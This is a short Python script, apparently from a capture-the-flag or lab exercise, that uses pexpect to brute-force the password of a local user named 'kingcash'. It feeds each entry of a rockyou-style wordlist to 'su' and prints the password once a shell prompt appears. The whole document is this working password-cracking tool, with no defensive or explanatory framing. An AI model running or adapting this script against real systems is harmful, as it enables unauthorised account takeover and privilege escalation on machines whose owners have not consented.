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import pexpect

# Loop through all the passwords present in sorted_rokyou.txt
with open('./sorted_rokyou.txt', encoding='utf-8', errors='replace') as f:
    while True:
        try:
            pwd = f.readline().rstrip('\n')
            if not pwd:
                break

            print("Trying password: " + pwd)

            # Try switching the user
            child = pexpect.spawn('su kingcash')

            # this should give us a password prompt
            child.expect('Password: ', timeout=1)

            # Send the password pwd just read
            child.sendline(pwd)

            try:
                # if the password is correct, we should expect a command prompt
                child.expect('\$', timeout=1)
                print('command prompt returned:')

                # display everything prior to the $ match:
                print(child.before.decode())
                print("PASSWORD CRACKED. THE CORRECT PASSWORD IS: " + pwd)

                break

            except:
                # if we waited for 1 second (the timeout) and didn't see $, that
                # means the password was wrong
                print('no command prompt. so sad.')

            child.close()

        except Exception as e:
            print(e)

f.close()

```